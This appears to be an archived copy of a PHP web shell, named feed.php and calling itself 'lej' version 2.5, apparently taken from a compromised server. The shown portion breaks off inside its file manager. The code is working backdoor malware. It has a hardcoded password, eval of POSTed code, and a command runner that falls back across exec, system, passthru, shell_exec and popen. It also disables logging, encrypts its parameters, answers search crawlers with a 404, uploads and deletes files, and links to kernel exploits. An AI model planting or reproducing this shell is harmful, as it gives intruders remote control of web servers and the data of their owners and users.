home *** CD-ROM | disk | FTP | other *** search
/ 209.216.129.10 / 209.216.129.10.tar / 209.216.129.10 / feed.php < prev    next >
PHP Script  |  2014-03-17  |  33KB  |  728 lines

  1. <?PHP
  2. $auth_pass = "63a9f0ea7bb98050796b649e85481845";
  3. $color = "#ddff55";
  4. $default_use_ajax = true;
  5. $default_charset = 'Windows-1251';
  6. $default_action='FilesMan';
  7. $default_key = md5($_SERVER['HTTP_USER_AGENT']);
  8. if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) {
  9.     $s = 'lejsetcookie';
  10.     $s(md5($_SERVER['HTTP_HOST'])."key", $default_key);
  11. }
  12. if(empty($_POST['charset']))
  13.     $_POST['charset'] = $default_charset;
  14. if (!isset($_POST['ne'])) {
  15.     if(isset($_POST['a'])) $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
  16.     if(isset($_POST['c'])) $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
  17.     if(isset($_POST['p1'])) $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
  18.     if(isset($_POST['p2'])) $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
  19.     if(isset($_POST['p3'])) $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
  20. }
  21. function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}
  22.  
  23. @ini_set('error_log',NULL);
  24. @ini_set('log_errors',0);
  25. @ini_set('max_execution_time',0);
  26. @set_time_limit(0);
  27. @set_magic_quotes_runtime(0);
  28. @define('lej_VERSION', '2.5');
  29.  
  30. if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  31.     $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
  32.  
  33.  
  34. if(get_magic_quotes_gpc()) {
  35.     function lejstripslashes($array) {
  36.         return is_array($array) ? array_map('lejstripslashes', $array) : stripslashes($array);
  37.     }
  38.     $_POST = lejstripslashes($_POST);
  39.     $_COOKIE = lejstripslashes($_COOKIE);
  40. }
  41.  
  42.  
  43. if(strtolower(substr(PHP_OS,0,3)) == "win")
  44.     $os = 'win';
  45. else
  46.     $os = 'nix';
  47.  
  48. $safe_mode = @ini_get('safe_mode');
  49. if(!$safe_mode)
  50.     error_reporting(0);
  51.  
  52. $disable_functions = @ini_get('disable_functions');
  53. $home_cwd = @getcwd();
  54. if(isset($_POST['c']))
  55.     @chdir($_POST['c']);
  56. $cwd = @getcwd();
  57. if($os == 'win') {
  58.     $home_cwd = str_replace("\\", "/", $home_cwd);
  59.     $cwd = str_replace("\\", "/", $cwd);
  60. }
  61. if($cwd[strlen($cwd)-1] != '/')
  62.     $cwd .= '/';
  63.  
  64.  
  65. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
  66.     function posix_getpwuid($p) {return false;} }
  67. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
  68.     function posix_getgrgid($p) {return false;} }
  69.  
  70. function lejEx($in) {
  71.     $out = '';
  72.     if (function_exists('exec')) {
  73.         @exec($in,$out);
  74.         $out = @join("\n",$out);
  75.     } elseif (function_exists('passthru')) {
  76.         ob_start();
  77.         @passthru($in);
  78.         $out = ob_get_clean();
  79.     } elseif (function_exists('system')) {
  80.         ob_start();
  81.         @system($in);
  82.         $out = ob_get_clean();
  83.     } elseif (function_exists('shell_exec')) {
  84.         $out = shell_exec($in);
  85.     } elseif (is_resource($f = @popen($in,"r"))) {
  86.         $out = "";
  87.         while(!@feof($f))
  88.             $out .= fread($f,1024);
  89.         pclose($f);
  90.     }
  91.     return $out;
  92. }
  93.  
  94. function lejViewSize($s) {
  95.     if($s >= 1073741824)
  96.         return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  97.     elseif($s >= 1048576)
  98.         return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  99.     elseif($s >= 1024)
  100.         return sprintf('%1.2f', $s / 1024 ) . ' KB';
  101.     else
  102.         return $s . ' B';
  103. }
  104.  
  105. function lejPerms($p) {
  106.     if (($p & 0xC000) == 0xC000)$i = 's';
  107.     elseif (($p & 0xA000) == 0xA000)$i = 'l';
  108.     elseif (($p & 0x8000) == 0x8000)$i = '-';
  109.     elseif (($p & 0x6000) == 0x6000)$i = 'b';
  110.     elseif (($p & 0x4000) == 0x4000)$i = 'd';
  111.     elseif (($p & 0x2000) == 0x2000)$i = 'c';
  112.     elseif (($p & 0x1000) == 0x1000)$i = 'p';
  113.     else $i = 'u';
  114.     $i .= (($p & 0x0100) ? 'r' : '-');
  115.     $i .= (($p & 0x0080) ? 'w' : '-');
  116.     $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  117.     $i .= (($p & 0x0020) ? 'r' : '-');
  118.     $i .= (($p & 0x0010) ? 'w' : '-');
  119.     $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  120.     $i .= (($p & 0x0004) ? 'r' : '-');
  121.     $i .= (($p & 0x0002) ? 'w' : '-');
  122.     $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  123.     return $i;
  124. }
  125.  
  126. function lejPermsColor($f) {
  127.     if (!@is_readable($f))
  128.         return '<font color=#FF0000>' . lejPerms(@fileperms($f)) . '</font>';
  129.     elseif (!@is_writable($f))
  130.         return '<font color=white>' . lejPerms(@fileperms($f)) . '</font>';
  131.     else
  132.         return '<font color=#25ff00>' . lejPerms(@fileperms($f)) . '</font>';
  133. }
  134.  
  135. function lejScandir($dir) {
  136.     if(function_exists("scandir")) {
  137.         return scandir($dir);
  138.     } else {
  139.         $dh  = opendir($dir);
  140.         while (false !== ($filename = readdir($dh)))
  141.             $files[] = $filename;
  142.         return $files;
  143.     }
  144. }
  145.  
  146. function lejWhich($p) {
  147.     $path = lejEx('which ' . $p);
  148.     if(!empty($path))
  149.         return $path;
  150.     return false;
  151. }
  152.  
  153. function actionRC() {
  154.     if(!@$_POST['p1']) {
  155.         $a = array(
  156.             "uname" => php_uname(),
  157.             "php_version" => phpversion(),
  158.             "lej_version" => lej_VERSION,
  159.             "safemode" => @ini_get('safe_mode')
  160.         );
  161.         echo serialize($a);
  162.     } else {
  163.         eval($_POST['p1']);
  164.     }
  165. }
  166.  
  167. function lejsetcookie($k, $v) {
  168.     $_COOKIE[$k] = $v;
  169.     setcookie($k, $v);
  170. }
  171.  
  172. function actionLogout() {
  173.     setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
  174.     die('bye!');
  175. }
  176.  
  177. function actionSelfRemove() {
  178.  
  179.     if($_POST['p1'] == 'yes')
  180.         if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  181.             die('Shell has been removed');
  182.         else
  183.             echo 'unlink error!';
  184.     if($_POST['p1'] != 'yes')
  185.         lejHeader();
  186.     echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  187.     lejFooter();
  188. }function lejHeader() {
  189.     if(empty($_POST['charset']))
  190.         $_POST['charset'] = $GLOBALS['default_charset'];
  191.     global $color;
  192.     echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - lej " . lej_VERSION ."</title>
  193. <style>
  194. body{background-color:#444;color:#e1e1e1;}
  195. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
  196. table.info{ color:#fff;background-color:#222; }
  197. span,h1,a{ color: $color !important; }
  198. span{ font-weight: bolder; }
  199. h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  200. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  201. a{ text-decoration:none; }
  202. a:hover{ text-decoration:underline; }
  203. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  204. .bigarea{ width:100%;height:300px; }
  205. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  206. form{ margin:0px; }
  207. #toolsTbl{ text-align:center; }
  208. .toolsInp{ width: 300px }
  209. .main th{text-align:left;background-color:#5e5e5e;}
  210. .main tr:hover{background-color:#5e5e5e}
  211. .l1{background-color:#444}
  212. .l2{background-color:#333}
  213. pre{font-family:Courier,Monospace;}
  214. </style>
  215. <script>
  216.     var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  217.     var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  218.     var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  219.     var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  220.     var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  221.     var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  222.     var d = document;
  223.     
  224.     function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
  225.     function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
  226.     function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
  227.     function set(a,c,p1,p2,p3,charset) {
  228.         if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  229.         if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  230.         if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  231.         if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  232.         if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  233.         d.mf.a.value = encrypt(d.mf.a.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
  234.         d.mf.c.value = encrypt(d.mf.c.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
  235.         d.mf.p1.value = encrypt(d.mf.p1.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
  236.         d.mf.p2.value = encrypt(d.mf.p2.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
  237.         d.mf.p3.value = encrypt(d.mf.p3.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
  238.         if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  239.     }
  240.     function g(a,c,p1,p2,p3,charset) {
  241.         set(a,c,p1,p2,p3,charset);
  242.         d.mf.submit();
  243.     }
  244.     function a(a,c,p1,p2,p3,charset) {
  245.         set(a,c,p1,p2,p3,charset);
  246.         var params = 'ajax=true';
  247.         for(i=0;i<d.mf.elements.length;i++)
  248.             params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  249.         sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  250.     }
  251.     function sr(url, params) {
  252.         if (window.XMLHttpRequest)
  253.             req = new XMLHttpRequest();
  254.         else if (window.ActiveXObject)
  255.             req = new ActiveXObject('Microsoft.XMLHTTP');
  256.         if (req) {
  257.             req.onreadystatechange = processReqChange;
  258.             req.open('POST', url, true);
  259.             req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  260.             req.send(params);
  261.         }
  262.     }
  263.     function processReqChange() {
  264.         if( (req.readyState == 4) )
  265.             if(req.status == 200) {
  266.                 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  267.                 var arr=reg.exec(req.responseText);
  268.                 eval(arr[2].substr(0, arr[1]));
  269.             } else alert('Request error!');
  270.     }
  271. </script>
  272. <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
  273. <form method=post name=mf style='display:none;'>
  274. <input type=hidden name=a>
  275. <input type=hidden name=c>
  276. <input type=hidden name=p1>
  277. <input type=hidden name=p2>
  278. <input type=hidden name=p3>
  279. <input type=hidden name=charset>
  280. </form>";
  281.     $freeSpace = @diskfreespace($GLOBALS['cwd']);
  282.     $totalSpace = @disk_total_space($GLOBALS['cwd']);
  283.     $totalSpace = $totalSpace?$totalSpace:1;
  284.     $release = @php_uname('r');
  285.     $kernel = @php_uname('s');
  286.     $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
  287.     if(strpos('Linux', $kernel) !== false)
  288.         $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
  289.     else
  290.         $explink .= urlencode($kernel . ' ' . substr($release,0,3));
  291.     if(!function_exists('posix_getegid')) {
  292.         $user = @get_current_user();
  293.         $uid = @getmyuid();
  294.         $gid = @getmygid();
  295.         $group = "?";
  296.     } else {
  297.         $uid = @posix_getpwuid(posix_geteuid());
  298.         $gid = @posix_getgrgid(posix_getegid());
  299.         $user = $uid['name'];
  300.         $uid = $uid['uid'];
  301.         $group = $gid['name'];
  302.         $gid = $gid['gid'];
  303.     }
  304.  
  305.     $cwd_links = '';
  306.     $path = explode("/", $GLOBALS['cwd']);
  307.     $n=count($path);
  308.     for($i=0; $i<$n-1; $i++) {
  309.         $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  310.         for($j=0; $j<=$i; $j++)
  311.             $cwd_links .= $path[$j].'/';
  312.         $cwd_links .= "\")'>".$path[$i]."/</a>";
  313.     }
  314.  
  315.     $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  316.     $opt_charsets = '';
  317.     foreach($charsets as $item)
  318.         $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  319.  
  320.     $m = array('FilesMan'=>'FilesMan');;
  321.     if(!empty($GLOBALS['auth_pass']))
  322.         $m['Logout'] = 'Logout';
  323.     $m['Self remove'] = 'SelfRemove';
  324.     $menu = '';
  325.     foreach($m as $k => $v)
  326.         $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
  327.  
  328.     $drives = "";
  329.     if($GLOBALS['os'] == 'win') {
  330.         foreach(range('c','z') as $drive)
  331.         if(is_dir($drive.':\\'))
  332.             $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  333.     }
  334.     echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
  335.        . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
  336.        . '  <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . lejViewSize($totalSpace) . ' <span>Free:</span> ' . lejViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. lejPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
  337.        . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . "Hidden" . '</nobr></td></tr></table>'
  338.        . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
  339. }function lejFooter() {
  340.     $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
  341.     echo "
  342. </div>
  343. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
  344.     <tr>
  345.         <td><form onsubmit=\"".( function_exists('actionFilesMan')? "g(null,this.c.value,'');":'' )."return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
  346.         <td><form onsubmit=\"".(function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value);":'' )."return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  347.     </tr><tr>
  348.         <td><form onsubmit=\"".( function_exists('actionFilesMan')? "g('FilesMan',null,'mkdir',this.d.value);":'' )."return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
  349.         <td><form onsubmit=\"".( function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value,'mkfile');":'' )."return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  350.     </tr><tr>
  351.         <td><form onsubmit=\"".( function_exists('actionConsole')? "g('Console',null,this.c.value);":'' )."return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
  352.         <td><form method='post' ".( (!function_exists('actionFilesMan'))? " onsubmit=\"return false;\" ":'' )."ENCTYPE='multipart/form-data'>
  353.         <input type=hidden name=a value='FilesMan'>
  354.         <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  355.         <input type=hidden name=p1 value='uploadFile'>
  356.         <input type=hidden name=ne value=''>
  357.         <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  358.         <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
  359.     </tr></table></div></body></html>";
  360. } function lejLogin() {
  361.     die("<pre align=center><form method=post >Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
  362. }
  363.  
  364. if(!empty($auth_pass)) {
  365.     if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
  366.         lejsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
  367.  
  368.     if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
  369.         lejLogin();
  370. } if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  371.     $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  372.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  373.         header('HTTP/1.0 404 Not Found');
  374.         exit;
  375.     }
  376. } function actionFilesMan() {
  377.     if (!empty ($_COOKIE['f']))
  378.         $_COOKIE['f'] = @unserialize($_COOKIE['f']);
  379.     
  380.     if(!empty($_POST['p1'])) {
  381.         switch($_POST['p1']) {
  382.             case 'uploadFile':
  383.                 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  384.                     echo "Can't upload file!";
  385.                 break;
  386.             case 'mkdir':
  387.                 if(!@mkdir($_POST['p2']))
  388.                     echo "Can't create new dir";
  389.                 break;
  390.             case 'delete':
  391.                 function deleteDir($path) {
  392.                     $path = (substr($path,-1)=='/') ? $path:$path.'/';
  393.                     $dh  = opendir($path);
  394.                     while ( ($item = readdir($dh) ) !== false) {
  395.                         $item = $path.$item;
  396.                         if ( (basename($item) == "..") || (basename($item) == ".") )
  397.                             continue;
  398.                         $type = filetype($item);
  399.                         if ($type == "dir")
  400.                             deleteDir($item);
  401.                         else
  402.                             @unlink($item);
  403.                     }
  404.                     closedir($dh);
  405.                     @rmdir($path);
  406.                 }
  407.                 if(is_array(@$_POST['f']))
  408.                     foreach($_POST['f'] as $f) {
  409.                         if($f == '..')
  410.                             continue;
  411.                         $f = urldecode($f);
  412.                         if(is_dir($f))
  413.                             deleteDir($f);
  414.                         else
  415.                             @unlink($f);
  416.                     }
  417.                 break;
  418.             case 'paste':
  419.                 if($_COOKIE['act'] == 'copy') {
  420.                     function copy_paste($c,$s,$d){
  421.                         if(is_dir($c.$s)){
  422.                             mkdir($d.$s);
  423.                             $h = @opendir($c.$s);
  424.                             while (($f = @readdir($h)) !== false)
  425.                                 if (($f != ".") and ($f != ".."))
  426.                                     copy_paste($c.$s.'/',$f, $d.$s.'/');
  427.                         } elseif(is_file($c.$s))
  428.                             @copy($c.$s, $d.$s);
  429.                     }
  430.                     foreach($_COOKIE['f'] as $f)
  431.                         copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
  432.                 } elseif($_COOKIE['act'] == 'move') {
  433.                     function move_paste($c,$s,$d){
  434.                         if(is_dir($c.$s)){
  435.                             mkdir($d.$s);
  436.                             $h = @opendir($c.$s);
  437.                             while (($f = @readdir($h)) !== false)
  438.                                 if (($f != ".") and ($f != ".."))
  439.                                     copy_paste($c.$s.'/',$f, $d.$s.'/');
  440.                         } elseif(@is_file($c.$s))
  441.                             @copy($c.$s, $d.$s);
  442.                     }
  443.                     foreach($_COOKIE['f'] as $f)
  444.                         @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
  445.                 } elseif($_COOKIE['act'] == 'zip') {
  446.                     if(class_exists('ZipArchive')) {
  447.                         $zip = new ZipArchive();
  448.                         if ($zip->open($_POST['p2'], 1)) {
  449.                             chdir($_COOKIE['c']);
  450.                             foreach($_COOKIE['f'] as $f) {
  451.                                 if($f == '..')
  452.                                     continue;
  453.                                 if(@is_file($_COOKIE['c'].$f))
  454.                                     $zip->addFile($_COOKIE['c'].$f, $f);
  455.                                 elseif(@is_dir($_COOKIE['c'].$f)) {
  456.                                     $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
  457.                                     foreach ($iterator as $key=>$value) {
  458.                                         $zip->addFile(realpath($key), $key);
  459.                                     }
  460.                                 }
  461.                             }
  462.                             chdir($GLOBALS['cwd']);
  463.                             $zip->close();
  464.                         }
  465.                     }
  466.                 } elseif($_COOKIE['act'] == 'unzip') {
  467.                     if(class_exists('ZipArchive')) {
  468.                         $zip = new ZipArchive();
  469.                         foreach($_COOKIE['f'] as $f) {
  470.                             if($zip->open($_COOKIE['c'].$f)) {
  471.                                 $zip->extractTo($GLOBALS['cwd']);
  472.                                 $zip->close();
  473.                             }
  474.                         }
  475.                     }
  476.                 } elseif($_COOKIE['act'] == 'tar') {
  477.                     chdir($_COOKIE['c']);
  478.                     $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
  479.                     lejEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
  480.                     chdir($GLOBALS['cwd']);
  481.                 }
  482.                 unset($_COOKIE['f']);
  483.                 setcookie('f', '', time() - 3600);
  484.                 break;
  485.             default:
  486.                 if(!empty($_POST['p1'])) {
  487.                     lejsetcookie('act', $_POST['p1']);
  488.                     lejsetcookie('f', serialize(@$_POST['f']));
  489.                     lejsetcookie('c', @$_POST['c']);
  490.                 }
  491.                 break;
  492.         }
  493.     }
  494.     lejHeader();
  495.     echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
  496.     $dirContent = lejScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  497.     if($dirContent === false) {    echo 'Can\'t open this folder!';lejFooter(); return; }
  498.     global $sort;
  499.     $sort = array('name', 1);
  500.     if(!empty($_POST['p1'])) {
  501.         if(preg_match('!s_([A-z]+)_(d{1})!', $_POST['p1'], $match))
  502.             $sort = array($match[1], (int)$match[2]);
  503.     }
  504. echo "<script>
  505.     function sa() {
  506.         for(i=0;i<d.files.elements.length;i++)
  507.             if(d.files.elements[i].type == 'checkbox')
  508.                 d.files.elements[i].checked = d.files.elements[0].checked;
  509.     }
  510. </script>
  511. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  512. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  513.     $dirs = $files = array();
  514.     $n = count($dirContent);
  515.     for($i=0;$i<$n;$i++) {
  516.         $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  517.         $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  518.         $tmp = array('name' => $dirContent[$i],
  519.                      'path' => $GLOBALS['cwd'].$dirContent[$i],
  520.                      'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
  521.                      'perms' => lejPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
  522.                      'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  523.                      'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  524.                      'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  525.                     );
  526.         if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
  527.             $files[] = array_merge($tmp, array('type' => 'file'));
  528.         elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  529.             $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  530.         elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
  531.             $dirs[] = array_merge($tmp, array('type' => 'dir'));
  532.     }
  533.     $GLOBALS['sort'] = $sort;
  534.     function lejCmp($a, $b) {
  535.         if($GLOBALS['sort'][0] != 'size')
  536.             return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  537.         else
  538.             return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  539.     }
  540.     usort($files, "lejCmp");
  541.     usort($dirs, "lejCmp");
  542.     $files = array_merge($dirs, $files);
  543.     $l = 0;
  544.     foreach($files as $f) {
  545.         echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?lejViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
